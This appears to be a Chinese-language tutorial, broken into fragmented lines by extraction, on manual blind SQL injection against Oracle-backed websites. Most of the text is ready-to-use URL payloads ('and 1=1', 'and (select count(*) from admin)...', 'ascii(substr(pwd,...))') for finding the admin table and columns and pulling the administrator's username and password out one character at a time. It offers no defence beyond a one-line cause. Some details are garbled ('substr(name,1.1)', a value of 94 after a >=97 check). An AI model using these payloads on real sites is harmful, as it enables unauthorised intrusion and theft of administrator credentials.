Oracle
数据库手工注入
一、出现注入点的原因:程序员在编写代码时没有对用户输入的字符进行特殊处理。导致
用户输入的特殊字符附带在参数中直接与数据库进行交互。
二、注入过程
1
、打开一个连接地址:在网址后面加
and 1=1
正常,
and 1=2
错误。说明存在注入漏
洞、
2
、判断一下数据库中的表
and (select count(*) from admin)<>0
返回正常。说明存在
admin
表。如果返回错误,
可将
admin
改为
username
、
manage
等常用表名继续猜解、
3
、判断一下该网站有几个管理员。
and (select count(*) from admin)=1
返回正常说明只有一个管理员
4
、已知表的前提下,判断表中字段结构。
and (select count(name) from admin)>=0
返回正常,说明存在
name
字段
and (select count(pass) from admin)>=0
返回错误,说明不存在
pass
字段
5
、采用
ASCII
码折半猜解管理员账号和密码:
判断管理员账号的长度:
and (select count(*) from admin where length(name)>=5)=1
//*length()
函数用于求字符串长度,此处用来猜解用户名的长度和
5
做比较,猜测用户名
是否由
5
个字符组成
判断管理员账号的值:
and (select count(*) from admin where ascii(substr(name,1.1))>=97)=1
//*substr()
函数用于截取字符串,
ascii()
函数用于获取字符的
ascii
码、此处的意思是截
取
name
字段的第一个字符,获取它的
ascii
码值,查询
ascii
码表可知
94
相同方法猜解密码
and (select count(*) from admin where length(pwd)>=8)=1
,返回正常,即密码
长度为
8
,此时可以判断密码应该为明文
and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1
,返回
正常,为字符
d
......
重复操作
......
and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1
,返回正
常,为数字
8
and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1
,返回正
常,为字符
a
评论